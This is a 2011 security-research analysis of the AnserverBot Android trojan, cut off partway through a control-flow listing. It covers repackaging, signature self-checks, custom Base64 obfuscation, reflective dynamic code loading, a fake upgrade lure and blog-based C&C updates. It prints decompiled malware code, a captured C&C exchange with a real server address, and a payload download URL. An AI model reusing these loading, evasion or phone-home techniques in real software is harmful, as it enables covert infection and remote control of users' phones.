17
An Analysis of the AnserverBot Trojan Yajin Zhou, Xuxian Jiang September 25, 2011 1 Introduction On September 19, 2011, NetQin Security Research Center identified an Android Trojan named AnserverBot, which is so far considered as one of the most sophisticated Android malware. This particular malware piggybacks on legitimate apps and is currently being distributed through pop- ular third-party Android markets in China. The Trojan is noteworthy in a number of aspects. For example, it employs several sophisticated techniques to evade detection and analysis, including Plankton [5]-like dynamic code loading, Java reflection-based method invocation, aggressive code obfuscation and data encryption, self-verification of signatures, as well as runtime detection and removal of installed mobile security software. Moreover, the Trojan program has built-in bot func- tionality that will actively fetch commands from public (encrypted) blog posts! The combination of these techniques significantly raises the bar for reverse engineering analysis. In fact, it is the first time in the Android malware history that these techniques have been “effectively” integrated into one real-world instance. 1 In this document, we outline various aspects of AnserverBot Trojan, such as how it gets started, what encryption methods are employed, how the dynamic payload is upgraded and loaded, and what protocol is used by AnserverBot to communicate with remote C&C servers. The detailed analysis in this document is based on a specific sample (with package name com.test). The SHA1 values of this sample and the associated payloads are shown as follows. Sample : 002f537027830303e2205dd0a6106cb1b79fa704 Payload A : 34dac9fd5938389a94ea2a3450f1bcea6a7710b1 Payload B : ade014d299e691dcedf764822d4b52c9eb4605a2 Figure 1: The SHA1 values of the sample and its two payloads (used in our analysis) 2 How It Works As a Trojan program, AnserverBot piggybacks on legitimate apps. At the high level, it repackages into the host app with two hidden apps (under the assets/ directory) with names anservera.db and anserverb.db. For simplicity, we call anservera.db and anserverb.db as payload A and pay- load B, respectively. These two apps have the same package name com.sec.android.touchScreen.server 1 Our earlier evolution analysis of the DroidKungFu malware family [1] reveals the ongoing trend in upcoming An- droid malware with increased sophistication and virulence. This trend is no doubt confirmed again by the emergence of AnserverBot. 1

An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

An Analysis of the AnserverBot Trojan

Yajin Zhou, Xuxian Jiang

September 25, 2011

1 Introduction

On September 19, 2011, NetQin Security Research Center identified an Android Trojan namedAnserverBot, which is so far considered as one of the most sophisticated Android malware. Thisparticular malware piggybacks on legitimate apps and is currently being distributed through pop-ular third-party Android markets in China. The Trojan is noteworthy in a number of aspects.For example, it employs several sophisticated techniques to evade detection and analysis, includingPlankton [5]-like dynamic code loading, Java reflection-based method invocation, aggressive codeobfuscation and data encryption, self-verification of signatures, as well as runtime detection andremoval of installed mobile security software. Moreover, the Trojan program has built-in bot func-tionality that will actively fetch commands from public (encrypted) blog posts! The combinationof these techniques significantly raises the bar for reverse engineering analysis. In fact, it is the firsttime in the Android malware history that these techniques have been “effectively” integrated intoone real-world instance.1

In this document, we outline various aspects of AnserverBot Trojan, such as how it gets started,what encryption methods are employed, how the dynamic payload is upgraded and loaded, andwhat protocol is used by AnserverBot to communicate with remote C&C servers. The detailedanalysis in this document is based on a specific sample (with package name com.test). The SHA1

values of this sample and the associated payloads are shown as follows.

Sample : 002f537027830303e2205dd0a6106cb1b79fa704

Payload A : 34dac9fd5938389a94ea2a3450f1bcea6a7710b1

Payload B : ade014d299e691dcedf764822d4b52c9eb4605a2

Figure 1: The SHA1 values of the sample and its two payloads (used in our analysis)

2 How It Works

As a Trojan program, AnserverBot piggybacks on legitimate apps. At the high level, it repackagesinto the host app with two hidden apps (under the assets/ directory) with names anservera.dband anserverb.db. For simplicity, we call anservera.db and anserverb.db as payload A and pay-load B, respectively. These two apps have the same package name com.sec.android.touchScreen.server

1Our earlier evolution analysis of the DroidKungFu malware family [1] reveals the ongoing trend in upcoming An-droid malware with increased sophistication and virulence. This trend is no doubt confirmed again by the emergenceof AnserverBot.

1

Page 2: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

Host App

(com.test)

Payload B (com.sec.android.touchScreen.server)

(com.sec.android.touchScreen.server)

Payload A

Background Fetching

& Loading

Background Fetching

& Loading

Fake Upgrade(through Payload B)

2

Figure 2: A high-level overview of three related apps in AnserverBot: Host App, Payload A, andPayload B

but with different functionality. Specifically, when the host app runs, it will pop up a fake upgradewindow to lure user to install payload A.2 The payload A is essentially a bot program that runssilently in the background without showing any icon in the home screen after the installation. Atruntime, both host app and payload A can dynamically load and execute code in payload B throughthe built-in Dalvik class loading capability in Android [5] without actually installing it. The heavyuse of Java reflection mechanism and the intended obfuscation of method names greatly impede theefforts to reverse engineering the malware. Also, the repackaged host app and payload A can phone

home to download and upgrade the payload B while the payload B itself can independently talk toC&C servers to fetch and execute subsequent commands. Our analysis shows that the additionalcode repackaged into the host app duplicates the functionality in payload A, which presumablyincreases the “robustness” of the malware as it can continue to run even after the host app isremoved from the phone. Accordingly, unless otherwise specified, our description of host app isalso applicable to payload A. Figure 2 shows the high-level relationship of these three apps.

2.1 Requesting additional permissions

When the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android game app. In Figures 3 and 4, we show thepermissions requested by the original (clean) app and the repackaged (infected) app, respectively.Clearly, the repackaged version requests many more permissions, including dangerous ones such asSEND SMS, RECEIVE SMS, CALL PHONE, RESTART PACKAGE and READ LOGS.

<uses-permission android:name="android.permission.INTERNET" />

Figure 3: The permissions requested by the original app

Besides requesting for more permissions, the malware also adds additional components in theinfected host app. For example, one added receiver listens to various system-wide events and upon

2This seemingly straightforward process is actually quite involved due to the obfuscated way taken by the malware.Specifically, it chooses to invoke one method (via Java reflection) in payload B, which then indirectly launches theactivity to install payload A.

2

Page 3: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

<uses-permission android:name="android.permission.WRITE_SMS" />

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

<uses-permission android:name="android.permission.VIBRATE" />

<uses-permission android:name="android.permission.READ_SMS" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.SEND_SMS" />

<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.WRITE_CONTACTS" />

<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.READ_PHONE_STATE" />

<uses-permission android:name="android.permission.CALL_PHONE" />

<uses-permission android:name="android.permission.WAKE_LOCK" />

<uses-permission android:name="android.permission.RESTART_PACKAGES" />

<uses-permission android:name="android.permission.WRITE_APN_SETTINGS" />

<uses-permission android:name="android.permission.READ_LOGS" />

Figure 4: The permissions requested by the repackaged app

<receiver android:name="com.android.view.custom.BaseABroadcastReceiver">

<intent-filter android:priority="2147483647">

<action android:name="android.net.wifi.PICK_WIFI_WORK" />

<action android:name="android.net.conn.MEDIA_NOFS" />

<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />

<action android:name="android.intent.action.ACTION_POWER_CONNECTED" />

<action android:name="android.provider.Telephony.SMS_RECEIVED" />

<action android:name="android.intent.action.BOOT_COMPLETED" />

<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />

<action android:name="android.intent.action.USER_PRESENT" />

<action android:name="android.intent.action.UMS_CONNECTED" />

<action android:name="android.intent.action.UMS_DISCONNECTED" />

</intent-filter>

</receiver>

Figure 5: A new receiver added into the original app

these events occur, it will automatically invoke the embedded payload in the host app. In Figure5, we show this particular receiver and its associated system-wide events in the repackaged app.

Based on the original app, the infected one adds two new modules: com.android.view.customand com.sec.android.providers.drm. com.android.view.custom contains the bridge routinesto access payload B (via Java reflection – Section 2.4). The module com.sec.android.providers.drmis essentially a bot client that connects to remote command and control (C&C) servers to downloadand upgrade payload B (Section 2.7). In addition, the infected one has two files anservera.db

and anserverb.db under the assets/ directory. From their .db suffixes, they are disguised asdatabase files. The truth is they are two Android apps: anservera.db will be installed once thehost app runs and anserverb.db will be dynamically loaded to run without installation.

2.2 Self-verifying the app signature

Despite the fact that AnserverBot repackages legitimate apps for distribution, the malware itselfactively detects whether the repackaged app has been tampered with or not. More specifically,when it runs, AnserverBot will check the current signature of the host app. Note that if the hostapp has been re-packaged and re-signed, the associated signature will be changed. As a result, bychecking the signature, the malware can detect whether it has been repackaged or not. If yes, itwill then exit and refuse to continue execution. We believe this mechanism is in place to protectthe infected host app (or rather the malware itself) from being tampered with or analyzed. Figure6 shows the related code snippet for signature verification.

3

Page 4: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

[com/android/view/custom/BaseABroadcastReceiver]

.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V

.locals 2

const/4 v1, 0x0

//check the signature

invoke-static p1, Lcom/sec/android/providers/drm/Union;->a(Landroid/content/Context;)Z

move-result v0

//if the signature has been changed, then return

if-eqz v0, :cond_1

:cond_0

:goto_0

return-void

:cond_1

//if the signature has NOT been changed, then run as normal

...

.end method

[com/sec/android/providers/drm/Union]

.method public static a(Landroid/content/Context;)Z

const/4 v2, 0x0

...

//the string of the anticipated signature

const-string v0, "3082019f30820108a00302010202044e1ecf7f300d06092a864886f70d01010505

0030133111300f060355040613086b656a69303030333020170d31313037313431

31313430375a180f32313232303631373131313430375a30133111300f06035504

0613086b656a693030303330819f300d06092a864886f70d010101050003818d00

30818902818100a06dca7a7f9b974cc03c7b8e6f528b6d5c2908916c4f6be2f248

ceebd63862ca6230e8a15d3239f8b54634cf3ab4240d8a553c6ee9a207f1531526

270f1c8e1ec9da8611c5268f1b7039f703c13ff5b057ce981825c87726c3246aa4

e10804aa418ac12d6b9884d74e2115d1f2448bf3fefa14768ecc6a8b2c83d03942

cd0a210203010001300d06092a864886f70d0101050500038181006159f326c78e

8396019dac1aed37faf6419fb518b45935a56eafe612ba3d61ec0a1c067b3838e5

f3d39931519daae990aaf1df217e316a6807423092be3aa9f29d200f9f8a16ec8d

a3b9033a2fa9ef21d861665e5695890508c08a4ad169ddfdd225b6a6d19e563925

774392534009b59360c34d0d8e472824203fb374c2aaef"

//get the string of current signature of the app

invoke-static p0, Lcom/sec/android/providers/drm/Union;->b(Landroid/content/Context;)Ljava/lang/String;

move-result-object v1

//equal?

invoke-virtual v0, v1, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v0

...

.end method

[com/sec/android/providers/drm/Union]

.method public static b(Landroid/content/Context;)Ljava/lang/String;

.locals 3

:try_start_0

//get the packageManager

invoke-virtual p0, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

move-result-object v0

invoke-virtual p0, Landroid/content/Context;->getPackageName()Ljava/lang/String;

move-result-object v1

const/16 v2, 0x40

//get the PackageInfo

invoke-virtual v0, v1, v2, Landroid/content/pm/PackageManager;->

getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;

move-result-object v0

iget-object v0, v0, Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature;

const/4 v1, 0x0

aget-object v0, v0, v1

//get the signature as string

invoke-virtual v0, Landroid/content/pm/Signature;->toCharsString()Ljava/lang/String;

...

.end method

Figure 6: Verifying the host app signature

4

Page 5: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

2.3 Encoding/encrypting data

To prevent it from being reverse engineered, the malware aggressively encrypts various types ofdata, including the URLs of remote C&C servers, the methods names to be invoked, the file pathof the payloads, and even the content of the payloads. Without decrypting them, it is hard, if notimpossible, to make progress in analyzing it.

Fortunately, we are able to successfully uncover their name obfuscation methods. In essence,it adapts the popular Base64 [2] scheme with a custom index table. Instead of the default string,it chooses to take “STvJjktoVFZ9f0PGlicqy3xK7zH8ruXdn5WwDRIeb1UmEgOhYs2NpLC4QBa6AM+/ ”for its customized Base64 encoding. Accordingly, we wrote a Python-based script (Figure 7) todecode all the encoded strings or method names in AnserverBot.

#!/usr/bin/python

import string

import base64

import sys

s = sys.argv[1]

my_base64chars = "STvJjktoVFZ9f0PGlicqy3xK7zH8ruXdn5WwDRIeb1UmEgOhYs2NpLC4QBa6AM+/_"

std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

s = s.translate(string.maketrans(my_base64chars, std_base64chars))

data = base64.b64decode(s)

print data

Figure 7: The Python-based decoding script

2.4 Dynamically loading and executing code

AnserverBot borrows similar mechanisms from Plankton [5] for dynamic code loading and execu-tion. Specifically, by exploiting the Dalvik class loading feature in Android, it retains the capabilityto dynamically extend its own functionality (Section 2.7). When combined with aggressive obfus-cation of method names, the malware makes it challenging for our analysis.

The Dalvik class loading feature or more specifically the DexClassLoader [4] class in Androidcan be used to load classes from .jar and .apk files. After being loaded, the new instances ofthese classes can be created and the corresponding methods in these classes are then available forinvocations. The AnserverBot malware wraps the class DexClassLoader in its own Doctype classunder com.sec.android.providers.drm and provides its own interface to load and execute codein payload B at runtime. In Table 1, we show the related APIs in this class. One particular codesnippet for one such interface is shown in Figure 8.

By using these APIs, the code in com.android.view.custom can call the corresponding meth-ods in payload B and thus acts as the bridge between the host app and the payload B. For instance,the onStart method in receiver com.android.view.custom.BaseABroadcastReceiver of host appcalls the onStart method in the com.sec.android.touchScreen.server.BaseABroadcastReceiverclass of payload B; the onStart method in service com.android.view.custom.FirstAService ofhost app invokes the onStart method in the com.sec.android.touchScreen.server.FirstAServiceclass of payload B.

5

Page 6: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

Function Name Descriptionpublic static Object a(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)

Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Activity, FileDescriptor, String, Integer)

public static Object b(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)

Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Intent, BroadcastReceiver, FileDescriptor, String)

public static Object c(File paramFile,String paramString1, String paramString2,Object[] paramArrayOfObject)

Load the method “paramString2” in class “paramString1”with arguments in “paramArrayOfObject” with types(Context, Service, FileDescriptor, String)

Table 1: The interface for dynamic code loading and execution in AnserverBot

[com.sec.android.providers.drm.Doctype]

public static Object b(File paramFile, String paramString1, String paramString2, Object[] paramArrayOfObject)

{String str3;

if (paramFile == null)

{String str1 = a.getFilesDir().getAbsolutePath();

//get the name of the file to be loaded

//9CkOrC32uI327WBD7n__ -> /anserverb.db

String str2 = Xmlns.d("9CkOrC32uI327WBD7n__");

str3 = str1.concat(str2);

}for (File localFile = new File(str3); ; localFile = paramFile)

{String str4 = localFile.getAbsolutePath();

String str5 = a.getFilesDir().getAbsolutePath();

ClassLoader localClassLoader = a.getClassLoader().getParent();

//get the class specified by "paramString1" from anserverb.db

Class localClass = new DexClassLoader(str4, str5, null, localClassLoader).loadClass(paramString1);

Class[] arrayOfClass = new Class[5];

arrayOfClass[0] = Context.class;

arrayOfClass[1] = Intent.class;

arrayOfClass[2] = BroadcastReceiver.class;

arrayOfClass[3] = FileDescriptor.class;

arrayOfClass[4] = String.class;

//get the method specified by "paramString2"

Method localMethod = localClass.getMethod(paramString2, arrayOfClass);

//create new instance of the class

Object localObject = localClass.newInstance();

//call the corresponding method with arguments in array "paramArrayOfObject"

return localMethod.invoke(localObject, paramArrayOfObject);

}}

Figure 8: A function to dynamically load and execute code in Payload B

2.5 Installing the payload A

When being started, AnserverBot will check whether the payload A has already been installed. Ifnot, it will display a fake upgrade dialog (see figure 9) to lure user to “upgrade” the app. If userclicks the button to upgrade, the payload A will be installed on the phone. After installation, thepayload A does not show any icon on the home screen. Instead, it runs silently in the background.The main functionality is somewhat similar to the added new code in the host app. As a result,by installing the payload A, the malware can make sure that even if the host app is removed fromthe phone, it can continue to run on the phone.

6

Page 7: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

Figure 9: The screenshot (prompting for the need of an “upgrade”) and the requested permissionsfrom the new upgrade (i.e., payload A)

The code for checking the presence of and installing the payload A is actually located in payloadB. Specifically, as explained earlier (Section 2.4), the host app can invoke the methods in payload Band these methods are used to indirectly install the payload A. Note that the normal way of checkingthe presence of a particular app is to obtain the list of installed apps and then traverse this list tofind the app. However, AnserverBot takes a different way: it first obtains the PackageContext

using the package name of payload A as its argument and then retrieves the sharedPreference

from the PackageContext. If the payload A has not been installed, the access to sharedPreference

will trigger an exception. If that is the case, AnserverBot realizes that the payload A has notbeen installed and then attempts to launch an intent to install this payload.

Figure 10: The state machine of installing payload A

The installation process of payload A is not complicated. Specifically, AnserverBot first displaysthe fake upgrade dialog to the user. If the user clicks the button to upgrade, it will save the file pathof payload A into one intent and send this intent to packageinstaller for installation. The code forinstalling payload A is in the function handleMessage of class com.sec.android.providers.drm.Charsetin payload B. It subclasses of android.os.Handler and performs corresponding actions based onthe received message. Figure 10 shows the simplified state machine of message handling in thisfunction to install the payload A. In Figure 11, we also show the actual code snippet in payload Bthat checks the presence of payload A.

7

Page 8: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

[com.sec.android.providers.drm.Xmlns]

.method public a(Landroid/content/Context;Landroid/app/Activity;Ljava/io/FileDescriptor;

Ljava/lang/String;Ljava/lang/Integer;)V

.locals 5

const/16 v2, 0x400

const/16 v4, 0xa

const/4 v0, 0x0

...

:goto_0

return-void

const-string v1, "user"

const/4 v2, 0x0

//retrieve the value from preferences file with key "user".

//This values means the version number of payload A embedded in host app.

invoke-virtual v0, v1, v2, Lcom/sec/android/providers/drm/Could;->b(Ljava/lang/String;I)I

move-result v0

...

//get Xmlns;->a. Its value is decrypted string "7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__"

//7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__ -> com.sec.android.touchScreen.server[Payload A]

iget-object v1, p0, Lcom/sec/android/providers/drm/Xmlns;->a:Ljava/lang/String;

const/4 v2, 0x2

//get the PackageContext of com.sec.android.touchScreen.server[payload A]

invoke-virtual p2, v1, v2, Landroid/app/Activity;->createPackageContext(Ljava/lang/String;I)

Landroid/content/Context;

move-result-object v1

...

const-string v2, "0"

iget v3, p0, Lcom/sec/android/providers/drm/Xmlns;->i:I

//get the shared preference file from payload A.

invoke-virtual v1, v2, v3, Landroid/content/Context;->getSharedPreferences

(Ljava/lang/String;I)Landroid/content/SharedPreferences;

move-result-object v1

const-string v2, "user"

const/4 v3, 0x0

//retrieve the value from shared preference file with key "user"

//This values means the version number of (installed) payload A

invoke-interface v1, v2, v3, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I

move-result v1

if-nez v1, :cond_2

const/16 v0, 0xa

invoke-direct p0, v0, Lcom/sec/android/providers/drm/Xmlns;->a(I)V

:try_end_0

.catch Ljava/lang/Exception; :try_start_0 .. :try_end_0 :catch_0

goto :goto_0

:catch_0

move-exception v0

//raised exception means shared preferences file can not be found. -> Payload A has not been installed.

//then install payload A by calling Xmlns;->a(10)

invoke-direct p0, v4, Lcom/sec/android/providers/drm/Xmlns;->a(I)V

goto :goto_0

:cond_2

//if payload A has been installed, then exist.

if-ge v1, v0, :cond_0

const/16 v0, 0xa

:try_start_1

//if we have new version of payload A, instlal the new version of payload A.

invoke-direct p0, v0, Lcom/sec/android/providers/drm/Xmlns;->a(I)V

:try_end_1

.catch Ljava/lang/Exception; :try_start_1 .. :try_end_1 :catch_0

goto :goto_0

.end method

Figure 11: Checking the presence of payload A

8

Page 9: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

2.6 Connecting to remote C&C servers (e.g., “phoning homes”)

In Section 2.1, we mentioned that the malware will add a new receiver BaseABroadcastReceiver,which will be invoked when a number of system-wide events occur. Starting from the receiver,the malware will eventually launch the execution of the com.sec.android.providers.drm.Onion

class in the host app, which implements the “phone home” behavior.

In the sample we analyzed, the addresses of remote C&C servers are initially hard-coded butencrypted. At runtime, these addresses will then be updated when interacting with remote C&Cservers. For example, the current C&C server can push down new C&C server information. Thisseems to be one of the most common ways for bot programs to update their C&C servers. Also,the information about new C&C servers is being published on a public web blog (as encryptedpostings). The employed encoding scheme seems the same as described in Section 2.3. This israther interesting as it is the first one in Android malware history that public blogs are being usedas C&C servers to deliver commands to bot clients. In Figure 12, we show the content of one postin the public blog website, which is used for updating C&C servers.

Figure 12: An encoded posting in the public blog (to update C&C servers)

By default, the infected host app will connect back to the remote C&C server with collectedinformation every two hours. If the connection to the C&C server is not successful and the number ofunsuccessful attempts exceeds a threshold (i.e., 7 in our sample), the malware will start connectingto the public blog for the updated C&C server and then use this new C&C server thereafter. If theconnection to the C&C server is successful, it will download the commands in a plain-text XMLfile and save the values in the file to local shared preference for future use. Figure 13 shows thecaptured network traffic between the host app and the remote C&C server.

In the class com.sec.android.providers.drm.Onion, there is a d() method that implementsthe functionality to connect back to the remote C&C server and parse the retrieved commands (inan XML file). In Table 2, we briefly show the meaning of each row in the downloaded XML file andthe corresponding key in the local shared preference. It is clear from the table that the key namesin the local shared preference are also obfuscated, making it intentionally harder to understand.

To better understand this method, we draw its CFG in Figure 14. (This figure may not bereadable in a printed hard copy but can be zoomed in to navigate through the CFG with the AcrobatReader.) The blocks in the CFG with colors RoyalBlue, Magenta, ForestGreen, ProcessBlue, andOrchid are used to parse the XML file. And the blocks with the Orange color are used to updatethe remote C&C server.

2.7 Upgrading the payload B

The malware can dynamically upgrade the payload B when a new version is available. Specifically,if there is a new version, the C&C server will record the latest version number (“doctitle” in shared

9

Page 10: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

POST /jk.action?a=310260000000000&a1=fNjYfw7YfJSYfJSYfJSY&c=4&c1=0S__

&d=2.2.1&d1=fWQ29wj_&e=unknown&e1=uxBm8IM48n__&f=generic&f1=zC3OzKF17Y__&g=8&g1=

PS__&h=000000000000000&h1=fJSYfJSYfJSYfJSYfJSY&i=8&i1=PS__&j=1316531906173&j1=

fqfs0wyNfqDY0wj4fY__&k=33&k1=fNf_&l=0&l1=fS__&m=0&m1=fS__&n=3&n1=fY__&p=

com.test&p1=7CMg9eiRr4l_&key=fqfs0wyNfqDY0NfBPl__ HTTP/1.1

User-Agent: Dalvik/1.2.0 (Linux; U; Android 2.2.1; generic Build/MASTER)

Host: b4.cookier.co.cc:8080

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 20 Sep 2011 15:18:13 GMT

Server: Apache/2.2.15 (Unix) mod_jk/1.2.28

Content-Language: utf-8

Content-Length: 616

Keep-Alive: timeout=12, max=2000

Connection: Keep-Alive

Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8" ?>

<server>

.<t>

..<rows>

...<row value="8008" />

...<row value="86400000" />

...<row value="7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn__" />

...<row value="41" />

...<row value="" />

...<row value="HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfolY8I7OHoig8S__" />

...<row value="2" />

...<row value="4" />

...<row value="60000" />

...<row value="8" />

...<row value="22" />

...<row value="" />

...<row value="7200000" />

...<row value="" />

...<row value="" />

...<row value="" />

...<row value="" />

..</rows>

.</t>

</server>

Figure 13: The captured network packets between the host app and the remote C&C server

preference – Table 2) and the download URL (“stylesheet” and “href” in shared preference) inthe command XML file. Both addresses in “stylesheet” and “href” can be used to download thepayload B though “stylesheet” has a higher priority than “href”. In fact, only if “stylesheet” isnot null, the download URL in “href” will be used for downloading. Our analysis shows that thepayload B specified in “href” is always compressed. For “stylesheet,” the payload B may or may notbe compressed depending on the download URL. If it ends with “.apk”, then it is not compressed.Otherwise it is compressed.

10

Page 11: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

Index ValueKey inshared

preferenceDescription

0 <row value=“8008” />

-2 : Stop bot client.-1 : Clear all shared preference0 : Upgrade C&C server.“ ” : Use the default C&C server.Other : Put all the values in XML into correspondingshared preference.

1 <row value=“86400000” /> “link”

The valid time window (in millisecond) to upgradepayload B. After this time window, it will not down-load payload B if not receiving new XML file fromC&C server.

2<row value=“7CMg9e0R72B58Ii28CRD9eihux0byC02zx3O9e0RrezRrn ” />

“warpeace”

The encrypted package name(com.sec.android.touchScreen.server) of payloadB. This package name is used to dynamically load theclasses from payload B.

3 <row value=“41” /> “doctitle” The latest version code of payload B.

4 <row value=“” /> “stylesheet”The first URL of latest payload B. If this URL is null,it will try other URLs.

5

<row value=“HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfolY8I7OHoig8S ” />

“href”

The second URL (encrypted) of latest payload B(http://blog.sina.com.cn/s/blog 8440ab780100t0nf.html).If the first URL is null, it will use this URL to down-load payload B. The payload specified by this URLis compressed, which must be decompressed afterdownloading.

6 <row value=“2” /> “gb2312”The threshold of failure times of downloading payloadB.

7 <row value=“4” /> “line”The threshold of failure times of downloading payloadB.

8 <row value=“60000” /> “font” Not used.

9 <row value=“8” /> “family”The lower bound time (in hour) to download payloadB. For example, if this value is 8, then the payload Bcan only be downloaded after 8AM.

10 <row value=“22” /> “size”The upper bound time (in hour) to download payloadB. For example, if this value is 22, then the payload Bcan only be downloaded before 10PM.

11 <row value=“” /> “11pt”The URL of data collecting server. This server justreceives data from bot program but does not push anycommand to devices.

12 <row value=“7200000” /> “text”The time period (in millisecond) to connect to C&Cserver. 7200000 means it will connect to C&C serverevery two hours.

13 <row value=“” /> “begintemplate” The new address of C&C server.

14 <row value=“” /> Not used

15 <row value=“” /> Not used

16 <row value=“” /> Not used

Table 2: The decoded XML command file

In the same class com.sec.android.providers.drm.Onion, there exists another method e()

that implements the functionality to fetch and upgrade the payload B. Similarly, we show in Figure15 the corresponding CFG (please zoom in to navigate the graph). It will first compare the current

11

Page 12: An Analysis of the AnserverBot TrojanWhen the AnserverBot malware is repackaged into existing apps, it will request additional per-missions. In the case of our sample, it was an Android

NetQin U.S. Security Research Center: An Analysis of the AnserverBot Trojan

void d()

r29 := @this

b 4 0 = 1 1

r133 = com.sec.android.providers .drm.Doctype.a(b40)

label0: r115 = "begintemplate"

n0 = nu l l

r163 = (com.sec.android.providers .drm.Doctype) r133

r43 = r163 .c ( r115 , n0)

z11 = com.sec.android.providers .drm.Xmlns.a(r43)

i f z11 == 0 goto label1

r47 = "HoiprJbh9CVp9I0h8Cg1zKVO7CAO7CfaPJSQfvMUH2B574i18CQ_"

label1: r28 = r29

r43 = com.sec.android.providers.drm.Xmlns.d(r47)

r 1 0 0 = r 4 3

r101 = special invoke r28.a(r100)

if r101 != 0 goto label3

label2: re turn

label3: r156 = new com.sec.android.providers .drm.European

r 1 = r 1 5 6

special invoke r156.<ini t>(r101)

r87 = "con ten t"

r157 = new java .u t i l .Date

r 3 1 = r 1 5 7

special invoke r157.<ini t>()

l52 = r31.getTime()

r26 = java.lang.Long.valueOf(l52)

r164 = (com.sec.android.providers .drm.Doctype) r133

r164.a( r87 , r26)

b 2 1 = 0

r77 = r1 . a (b21)

r158 = new java .u t i l .Date

r 3 2 = r 1 5 8

special invoke r158.<ini t>()

r76 = "-2"

z5 = r76 .equa l s ( r77)

i f z5 == 0 goto label9

r165 = (com.sec.android.providers .drm.Doctype) r133 label9: r34 = "-1"

r165.a() z3 = r34 .equa l s ( r77)

b 3 7 = 0

r138 = com.sec.android.providers .drm.Doctype.a(b37)

r67 = "saved"

r112 = "peace"

r138.a( r67 , r112)

label4: goto label2

label5: r30 := @caughtexcept ion

r55 = "begin templa te"

r166 = (com.sec.android.providers .drm.Doctype) r133

r166.a( r55)

r51 = "body"

l48 = 0L

r167 = (com.sec.android.providers .drm.Doctype) r133

l43 = r167.a( r51 , l48)

z4 = com.sec.android.providers.drm.Xmlns.a(l43)

if z4 != 0 goto label2

r159 = new java .u t i l .Date

r 3 3 = r 1 5 9

special invoke r159.<ini t>()

r42 = " topmargin"

b 1 5 = 0

r168 = (com.sec.android.providers .drm.Doctype) r133

i34 = r168.b( r42 , b15)

r127 = " topmargin"

i32 = i 34 + 1

r169 = (com.sec.android.providers .drm.Doctype) r133

r169.a(r127, i32)

r126 = "body"

l44 = r33.getTime()

r23 = java.lang.Long.valueOf(l44)

r170 = (com.sec.android.providers .drm.Doctype) r133

r170.a( r126, r23)

b 1 4 = 7

if i32 < b14 goto label2

label6: r116 = "HoiprJbh9CFE8CrOrCRO7cBw8CpO7CQhr2MW8tMeKNnp0JT57wrQfJjYfoFOXxyOHoig8S__"

r102 = com.sec.android.providers .drm.Xmlns.d(r116)

z 6 = 0

r104 = "utf-8"

r105 = "^[ \W]+v_____:"

